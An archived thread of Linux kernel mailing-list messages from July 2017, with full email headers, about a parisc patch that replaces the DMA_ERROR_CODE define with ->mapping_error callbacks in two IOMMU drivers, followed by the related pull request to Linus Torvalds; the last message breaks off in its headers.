	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dSpUs-0006qa-28
	for glpp-linux-parisc@m.gmane.org; Wed, 05 Jul 2017 20:57:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751784AbdGES6D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Jul 2017 14:58:03 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:52833 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751700AbdGES6C (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Jul 2017 14:58:02 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=In-Reply-To:Content-Type:MIME-Version
        :References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=c+fNuSNSHhCQRTIIyLcRADp9akOT1W16Bvgh+B88clo=; b=e2Y3rLYhi7i+EbEIp7yKt7//r
        ERHAo04KHeK81ZWxFfIOUtR5NP8BQnmCDrgfKUatlGqgZpiAr1AI+GIaLilzCEeDwUCiSDCpNIlf2
        1xW++/DRKqp6oAPNKxGF8ybthtxSeEbBw3JcuKOlGAc+/hdUiiFuMLfCDqJyx59Rqs7R164sWHkwr
        ZF7OHCKdqZXxxtJPq+LBkYnmedB2WODXZqIY92SSfwr9FY0G+D2rffySA5GrrjS89G+LBZJ4PU/+J
        yTcZ/8/W2H6SRr3WTeGq9DicXn/4DNK3pskhGwDvEBM4nblpyKFR+aQ/27wWFCQUQ6ef4KCLKMSJO
    
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.87 #1 (Red Hat Linux))
        id 1dSpUq-0008M9-Eo; Wed, 05 Jul 2017 18:57:56 +0000
Content-Disposition: inline
In-Reply-To: <83ff44f5-8989-c806-bef3-29fb9c909bee@gmx.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27535 gmane.linux.kernel:2517307
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27535>

I've got a tree pending that removes DMA_ERROR_CODE, and it's been
in linux-next for a while.

While this won't compile-time conflict with this patch and will
basically revert the effect.

Can you please test the patch below and send it to Linus ASAP so that
I can send the pull request for the dma-mapping tree?

---
>From 85942d54e2f0ad5f4b4e074ce2e271be17b31274 Mon Sep 17 00:00:00 2001
From: Christoph Hellwig <hch@lst.de>
Date: Tue, 4 Jul 2017 19:55:06 -0700
Subject: parisc: ->mapping_error

DMA_ERROR_CODE already went away in linux-next, but parisc unfortunately
added a new instance of it without any review as far as I can tell.

Move the two iommu drivers to report errors through ->mapping_error.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/parisc/include/asm/dma-mapping.h |  2 --
 drivers/parisc/ccio-dma.c             | 10 +++++++++-
 drivers/parisc/sba_iommu.c            | 10 +++++++++-
 3 files changed, 18 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 9a2a8956a695..2b16282add69 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -20,8 +20,6 @@
 ** flush/purge and allocate "regular" cacheable pages for everything.
 */
 
-#define DMA_ERROR_CODE	(~(dma_addr_t)0)
-
 #ifdef CONFIG_PA11
 extern const struct dma_map_ops pcxl_dma_ops;
 extern const struct dma_map_ops pcx_dma_ops;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 56c93f096de9..6aa1e7f6672f 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -110,6 +110,8 @@
 #define CMD_TLB_DIRECT_WRITE 35         /* IO_COMMAND for I/O TLB Writes     */
 #define CMD_TLB_PURGE        33         /* IO_COMMAND to Purge I/O TLB entry */
 
+#define CCIO_MAPPING_ERROR    (~(dma_addr_t)0)
+
 struct ioa_registers {
         /* Runway Supervisory Set */
         int32_t    unused1[12];
@@ -742,7 +744,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
 	if (!ioc)
-		return DMA_ERROR_CODE;
+		return CCIO_MAPPING_ERROR;
 
 	BUG_ON(size <= 0);
 
@@ -1023,6 +1025,11 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
 }
 
+static int ccio_mapping_error(struct device *dev, dma_addr_t dma_addr)
+{
+	return dma_addr == CCIO_MAPPING_ERROR;
+}
+
 static const struct dma_map_ops ccio_ops = {
 	.dma_supported =	ccio_dma_supported,
 	.alloc =		ccio_alloc,
@@ -1031,6 +1038,7 @@ static const struct dma_map_ops ccio_ops = {
 	.unmap_page =		ccio_unmap_page,
 	.map_sg = 		ccio_map_sg,
 	.unmap_sg = 		ccio_unmap_sg,
+	.mapping_error =	ccio_mapping_error,
 };
 
 #ifdef CONFIG_PROC_FS
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 87ad5fd6a7a2..4086f79d58d5 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -93,6 +93,8 @@
 
 #define DEFAULT_DMA_HINT_REG	0
 
+#define SBA_MAPPING_ERROR    (~(dma_addr_t)0)
+
 struct sba_device *sba_list;
 EXPORT_SYMBOL_GPL(sba_list);
 
@@ -725,7 +727,7 @@ sba_map_single(struct device *dev, void *addr, size_t size,
 
 	ioc = GET_IOC(dev);
 	if (!ioc)
-		return DMA_ERROR_CODE;
+		return SBA_MAPPING_ERROR;
 
 	/* save offset bits */
 	offset = ((dma_addr_t) (long) addr) & ~IOVP_MASK;
@@ -1083,6 +1085,11 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 
 }
 
+static int sba_mapping_error(struct device *dev, dma_addr_t dma_addr)
+{
+	return dma_addr == SBA_MAPPING_ERROR;
+}
+
 static const struct dma_map_ops sba_ops = {
 	.dma_supported =	sba_dma_supported,
 	.alloc =		sba_alloc,
@@ -1091,6 +1098,7 @@ static const struct dma_map_ops sba_ops = {
 	.unmap_page =		sba_unmap_page,
 	.map_sg =		sba_map_sg,
 	.unmap_sg =		sba_unmap_sg,
+	.mapping_error =	sba_mapping_error,
 };
 
 
-- 
2.11.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: DMA API: return error instead of BUG_ON for dma
 ops on non dma devs
Date: Wed, 5 Jul 2017 21:36:09 +0200
Lines: 147
Approved: news@gmane.org
Message-ID: <9de25038-5a0e-697d-dfb4-b6eb65189079@gmx.de>
References: <20170703084920.142A9508094@solo.franken.de>
 <83ff44f5-8989-c806-bef3-29fb9c909bee@gmx.de>
 <20170705185756.GA18087@infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1499283413 4115 195.159.176.226 (5 Jul 2017 19:36:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Jul 2017 19:36:53 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 05 21:36:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dSq6I-0006WT-2x
	for glpp-linux-parisc@m.gmane.org; Wed, 05 Jul 2017 21:36:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751783AbdGETgn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Jul 2017 15:36:43 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:63924 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751664AbdGETgm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Jul 2017 15:36:42 -0400
Original-Received: from [192.168.20.60] ([193.159.18.197]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M8ZtH-1dgUzx38S3-00wGw4; Wed, 05
 Jul 2017 21:36:10 +0200
In-Reply-To: <20170705185756.GA18087@infradead.org>
X-Provags-ID: V03:K0:BV5HpiBrPe6BHYlZNutgTOWMC0qffmudxt7D3wT6BYZG7nJFg7v
 e5ZHXyDA124rFdKP6Ya+foVRDThGz3bQGX7iiFgnaGJpZhzKA8VceDGDYEQW0piFMTKYHU6
 cOQA7+z86xU5ypO4i3292D9rEixVPIwO99M0YG6mappP4PARl27qiL0hLqwcYhXlZSDBL/9
 x2JbgV1fvQZhOJdvXXxSw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vZL+4knFtr4=:rOPVtsCsdUlOcRHL98lD81
 1g8ETM4k+Jrdv/aOBmfnWnVtcJOYi1UrXorP/j85P6h/rI/uYvyy7HtxKAdB66HFczForx6Bd
 NING5ieKBU6ktvWotMggIM79ase4pkGvrSZ5YLMEK33sM4xIoY7D8q62zIwIfNrwJUkAzCoVQ
 yux6ynbfJAX2AZweSLQiLz5kNr+KbZp0rp4GNQ/o8MJTnOSMKi3MXwdIleN/PIUDiHzU5E3L+
 G0AIhiJg7LXr1o41x2QqxvEvFpN573IkcwTRhL29DLINVpHyYr+6Bl9Y3KN5GQxWbk9OEUmQw
 mGX19aKWeh7iWT4ZfU5w+Bdv1w7ktSLuBut65wHW0JidH3QlIqWrJZfkBhpFfF6NzmQFJoH+w
 FSjjfftc9liYpiHjzYrkmpMuahChqG+ZyK4fa6gm9yUmLSMSTlPZJ2WwE1P+W0byzLdH7KvOo
 +QAjzE54oW36k1p5AYpzx1Xt1FoDfnr2yisZMhXJ8a8oNK6uo+cnG1aviYPz2iFG+KdYNC3IQ
 WP3KszVs5MfgDyUC3MnVsCezSe9vMyPaF7LFBuJkscbDGYxoS8XP3gDUgLmL5PNQ0CXGhv6qF
 hUj8QhgjhN9h31JL/pNCHOZq9w2Jk42ZNkFAVdeStlGQoYuZjS0PLz7h+9bl1dksvc28V7WhZ
 vjFMCMhgBf/CXWZb3ltIVSLDrspxAiV+pSTT0m/2vUF7J8/9dTcoJlYSNXi6fMDtPolwpE11O
 kMckM56Tbeza6v9tPsHU2fFBQs7IzViRJBumpLTomLgPke9l84RUTH1gGoLcRDlz7kpmqeD4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27536 gmane.linux.kernel:2517332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27536>

Hi Christoph,

On 05.07.2017 20:57, Christoph Hellwig wrote:
> I've got a tree pending that removes DMA_ERROR_CODE, and it's been
> in linux-next for a while.

I had the parisc patch in for-next as well and didn't received
any warnings.
 
> While this won't compile-time conflict with this patch and will
> basically revert the effect.
> 
> Can you please test the patch below and send it to Linus ASAP so that
> I can send the pull request for the dma-mapping tree?

I'll do that now.


> ---
> From 85942d54e2f0ad5f4b4e074ce2e271be17b31274 Mon Sep 17 00:00:00 2001
> From: Christoph Hellwig <hch@lst.de>
> Date: Tue, 4 Jul 2017 19:55:06 -0700
> Subject: parisc: ->mapping_error
> 
> DMA_ERROR_CODE already went away in linux-next, but parisc unfortunately
> added a new instance of it without any review as far as I can tell.

Can we please change this to something like 
"Prepare parisc to get rid of DMA_ERROR_CODE tree-wide" ?
It's somewhat more neutral.

Helge

> 
> Move the two iommu drivers to report errors through ->mapping_error.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/parisc/include/asm/dma-mapping.h |  2 --
>  drivers/parisc/ccio-dma.c             | 10 +++++++++-
>  drivers/parisc/sba_iommu.c            | 10 +++++++++-
>  3 files changed, 18 insertions(+), 4 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
> index 9a2a8956a695..2b16282add69 100644
> --- a/arch/parisc/include/asm/dma-mapping.h
> +++ b/arch/parisc/include/asm/dma-mapping.h
> @@ -20,8 +20,6 @@
>  ** flush/purge and allocate "regular" cacheable pages for everything.
>  */
>  
> -#define DMA_ERROR_CODE	(~(dma_addr_t)0)
> -
>  #ifdef CONFIG_PA11
>  extern const struct dma_map_ops pcxl_dma_ops;
>  extern const struct dma_map_ops pcx_dma_ops;
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index 56c93f096de9..6aa1e7f6672f 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -110,6 +110,8 @@
>  #define CMD_TLB_DIRECT_WRITE 35         /* IO_COMMAND for I/O TLB Writes     */
>  #define CMD_TLB_PURGE        33         /* IO_COMMAND to Purge I/O TLB entry */
>  
> +#define CCIO_MAPPING_ERROR    (~(dma_addr_t)0)
> +
>  struct ioa_registers {
>          /* Runway Supervisory Set */
>          int32_t    unused1[12];
> @@ -742,7 +744,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
>  	BUG_ON(!dev);
>  	ioc = GET_IOC(dev);
>  	if (!ioc)
> -		return DMA_ERROR_CODE;
> +		return CCIO_MAPPING_ERROR;
>  
>  	BUG_ON(size <= 0);
>  
> @@ -1023,6 +1025,11 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
>  }
>  
> +static int ccio_mapping_error(struct device *dev, dma_addr_t dma_addr)
> +{
> +	return dma_addr == CCIO_MAPPING_ERROR;
> +}
> +
>  static const struct dma_map_ops ccio_ops = {
>  	.dma_supported =	ccio_dma_supported,
>  	.alloc =		ccio_alloc,
> @@ -1031,6 +1038,7 @@ static const struct dma_map_ops ccio_ops = {
>  	.unmap_page =		ccio_unmap_page,
>  	.map_sg = 		ccio_map_sg,
>  	.unmap_sg = 		ccio_unmap_sg,
> +	.mapping_error =	ccio_mapping_error,
>  };
>  
>  #ifdef CONFIG_PROC_FS
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index 87ad5fd6a7a2..4086f79d58d5 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -93,6 +93,8 @@
>  
>  #define DEFAULT_DMA_HINT_REG	0
>  
> +#define SBA_MAPPING_ERROR    (~(dma_addr_t)0)
> +
>  struct sba_device *sba_list;
>  EXPORT_SYMBOL_GPL(sba_list);
>  
> @@ -725,7 +727,7 @@ sba_map_single(struct device *dev, void *addr, size_t size,
>  
>  	ioc = GET_IOC(dev);
>  	if (!ioc)
> -		return DMA_ERROR_CODE;
> +		return SBA_MAPPING_ERROR;
>  
>  	/* save offset bits */
>  	offset = ((dma_addr_t) (long) addr) & ~IOVP_MASK;
> @@ -1083,6 +1085,11 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  
>  }
>  
> +static int sba_mapping_error(struct device *dev, dma_addr_t dma_addr)
> +{
> +	return dma_addr == SBA_MAPPING_ERROR;
> +}
> +
>  static const struct dma_map_ops sba_ops = {
>  	.dma_supported =	sba_dma_supported,
>  	.alloc =		sba_alloc,
> @@ -1091,6 +1098,7 @@ static const struct dma_map_ops sba_ops = {
>  	.unmap_page =		sba_unmap_page,
>  	.map_sg =		sba_map_sg,
>  	.unmap_sg =		sba_unmap_sg,
> +	.mapping_error =	sba_mapping_error,
>  };
>  
>  
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] one parisc patch for v4.13-rc1
Date: Wed, 5 Jul 2017 22:28:54 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20170705202854.GA14623@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499286574 24773 195.159.176.226 (5 Jul 2017 20:29:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Jul 2017 20:29:34 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        Christoph Hellwig <hch@infradead.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 05 22:29:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dSqvP-0002WA-Oi
	for glpp-linux-parisc@m.gmane.org; Wed, 05 Jul 2017 22:29:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752520AbdGEU3d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Jul 2017 16:29:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52215 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752201AbdGEU3c (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Jul 2017 16:29:32 -0400
Original-Received: from p100.box ([193.159.18.197]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LcmN9-1eACEA1Gxb-00k5oN; Wed, 05
 Jul 2017 22:28:57 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:g7L7aR3BXGNFvmZ9znouqdCWI2iQ+j0aZbw9CPKA/58N8KPVGum
 2k7l2nTjKf1aLpMA1ZBa9VFvsaed6aOVykO5xiVs1Tx1Fyoyi83evFl3W7MmA0yc0JSeqBG
 n0cGM0JXoB7Z1wRkHHegsB45P8SftczFRL7iWcXmIaqX3S5tv2gzAb+ULXJ5CMh5jQiuDXf
 fzoBuZmSFEgxNvJZEffCA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XFcOvF4RDd4=:GVl1fJ1++MUztBb1maCpMj
 1HW49fcHx/XN0+jA0SmYfmX2zM2VQ8BRGQ0ceBmMBT1Y9alj+E5BMMye9BSO3c8kj/2U4aEKL
 o1zKaVG8Eu/jriuJ0j4WBrf2nUdzanGvAs7BA/2YMqQpodawK/TMHc1yZ6J1mkNdYF7pr27gi
 9hN/Ydsx4AJHSR8OKmWnP3oXfVNkOutOYT4rkq6M/DIhSo13dmr7+4n0+DfTJ42NiCK4PQtum
 Y5HhzMDFwWo3w68eymVhyFLDAzKkdVS0i6fAFLokg2Tw0fc3Y7mjp+k5U+CKkeEJn/AEvpJV8
 ZPGklfGR9HxfOsoGPPiCvpKHUHKHXbCNNgQKwkUWdYviGMbjsHl6dr3PB1sJAQHlty4L3tQ6j
 E74IDCe28Mf6pnQT6hnl5SkcHIuhLwBWFfelEn3PNM0zXdn/X22wC9a9ZGgKsJ12k83Y/BEF9
 ymr9fmJQXwJ4bId9cajgnyQSQ/ooxMLz5f1+TNdacYrchVaPOHW2TCnLe0nwPgH0SoUxlEs+j
 3FyHsQtungtu2uhzZMzFXlw8RsawYTWr7jZooB0qZVlRL0k722+OW7wdc8teMaWESP64jtlxz
 /fXor3Xy1AA0HjfL+cLUBV3wYUGILNEdEVmwhN61yJRdKUhmgM/CDpvnn5ngMvTxf0lt/MvwI
 4DD/ORPTx4enWsVgc2xLwZzkkm/t4RRkuUEMO6dUSVCD1PbRxPKnNACwuX/kQFIAVDqxLe5Rr
 hICgvYbGeD6wBKg4yNn/BrEGEDergMRFgyi+9YMFQqG3vWLJrJ3YyzKEZcA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27537 gmane.linux.kernel:2517375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27537>

Hi Linus,

Christoph Hellwig provided one patch for the parisc architecture to drop the
DMA_ERROR_CODE define from the parisc architecture.
He asked me to test it and send it to you ASAP so that he can send the pull
request for the dma-mapping tree.

That said, can you please pull it from
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-1
before you pull Christophs dma-mapping tree ?

Changes:
- Drop DMA_ERROR_CODE and convert to ->mapping_error (by Christoph Hellwig)

Thanks,
Helge

----------------------------------------------------------------
Christoph Hellwig (1):
      parisc: ->mapping_error

 arch/parisc/include/asm/dma-mapping.h |  2 --
 drivers/parisc/ccio-dma.c             | 10 +++++++++-
 drivers/parisc/sba_iommu.c            | 10 +++++++++-
 3 files changed, 18 insertions(+), 4 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] one parisc patch for v4.13-rc1
Date: Wed, 5 Jul 2017 13:31:55 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20170705203155.GA5441@infradead.org>
References: <20170705202854.GA14623@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499286718 18734 195.159.176.226 (5 Jul 2017 20:31:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Jul 2017 20:31:58 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        Christoph Hellwig <hch@infradead.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 05 22:31:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dSqxk-0004LO-Nt
	for glpp-linux-parisc@m.gmane.org; Wed, 05 Jul 2017 22:31:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752812AbdGEUb6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Jul 2017 16:31:58 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:33843 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752811AbdGEUb5 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Jul 2017 16:31:57 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=In-Reply-To:Content-Type:MIME-Version
        :References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=AN9c/wWGVgk9lfyrAaHQKf2KKm7HB/eOmZqB4tvyWtc=; b=EoBLeiEC/R/XkG1CgoqtfpAZG
        8LLjV5Wu+FBd93eXgpGkes1j0Yu3jjb5pQQ7sSgMNAXzSM4SVbVFZQJYoxZHtNj8mD/AB58Mm9t3K
        C0ntUrVO3oQ0FRHEIc4kGeuHQTapyb1Gm9YIwgcrQvoRKCfHlP0TVsYW2pMZ9gaJ2o1RHJFQE5Uyg
        5bNNsQPmDBhOUtqvgHoWjnwWCkOH8TJxkJ+wjxmF5NA/i0yUntrRnkWy4ME8YNJ8rxK08AOXBW/Dz
        GwkEIyS0fKXek2xlndKufM5fE9AkTqee4VzgXm8UeEPiJWKJIp4Lz0S71Ai1SVpV0nfO2f3dtL2+e
    
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.87 #1 (Red Hat Linux))
        id 1dSqxo-0002nS-0Y; Wed, 05 Jul 2017 20:31:56 +0000
Content-Disposition: inline
In-Reply-To: <20170705202854.GA14623@p100.box>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27538 gmane.linux.kernel:2517377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27538>

On Wed, Jul 05, 2017 at 10:28:54PM +0200, Helge Deller wrote:
> That said, can you please pull it from
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-1
> before you pull Christophs dma-mapping tree ?

I've not send the pull request for that yet, I plan to do so once this
commit made it in.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: DMA API: return error instead of BUG_ON for dma
 ops on non dma devs
Date: Wed, 5 Jul 2017 13:33:35 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20170705203335.GA10792@infradead.org>
References: <20170703084920.142A9508094@solo.franken.de>
 <83ff44f5-8989-c806-bef3-29fb9c909bee@gmx.de>
 <20170705185756.GA18087@infradead.org>
 <9de25038-5a0e-697d-dfb4-b6eb65189079@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499286822 6493 195.159.176.226 (5 Jul 2017 20:33:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Jul 2017 20:33:42 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: Christoph Hellwig <hch@infradead.org>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 05 22:33:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dSqzO-000885-I5
